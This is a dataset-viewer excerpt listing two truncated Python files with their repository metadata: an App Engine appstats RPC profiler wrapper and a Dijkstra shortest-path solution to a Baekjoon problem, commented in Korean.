f0438fb43a911298fba48e71620bc3f5ff15ba8b | c16ab2c9c675bdbca43a4603a14106790d9e7da2 | /lib/gae_mini_profiler/appstats_profiler.py | d1e30d4d9a70e975ccedc29a5068b4e0987559b9 | [
"MIT"
] | permissive | y2bishop2y/microengine | 7e7e8b5852188fcceb9559f9d8d339bf6257a0d7 | 2322fdce0718a06bdc0332682e8ef9e393f8e7af | refs/heads/master | 2021-01-01T18:38:17.250888 | 2013-03-20T08:21:53 | 2013-03-20T08:22:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,136 | py | """RPC profiler that uses appstats to track, time, and log all RPC events.
This is just a simple wrapper for appstats with result formatting. See
https://developers.google.com/appengine/docs/python/tools/appstats for more.
"""
import logging
from pprint import pformat
from google.appengine.ext.appstats import record... | [
"eberenbaum@okta.com"
] | eberenbaum@okta.com |
9471cea9b5d59083fe068b87504590f4027f45eb | ad8b30544480ba1e5f5b1cb2dec2aa77a644e8d2 | /BOJ/1238_파티.py | 47e4a42bd4b524d433bb52d123cba305548dc8c0 | [] | no_license | hyunwoojeong123/Algorithm | 79abc82d944ca60342a7f8b6fc44fac20ac55123 | 0baaf3222fbbec699ffbec5d4cc680067cf293fb | refs/heads/master | 2023-07-10T18:28:51.934005 | 2021-08-18T01:51:23 | 2021-08-18T01:51:23 | 284,403,698 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,098 | py | import sys,heapq
INF = sys.maxsize
input = sys.stdin.readline
def dij(x):
# d 배열을 INF 로 전부 준다
d = [INF]*n
# heap에다가 [0, 출발점] 을 넣는다.
heapq.heappush(heap, [0,x])
# d[출발점] = 0
d[x] = 0
# heap 다 빌 때까지 반복
while heap:
# w,x 는 현 위치까지의 거리와 현 위치
w,x = heapq.heappop(heap)
... | [
"hw2621@daum.net"
] | hw2621@daum.net |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.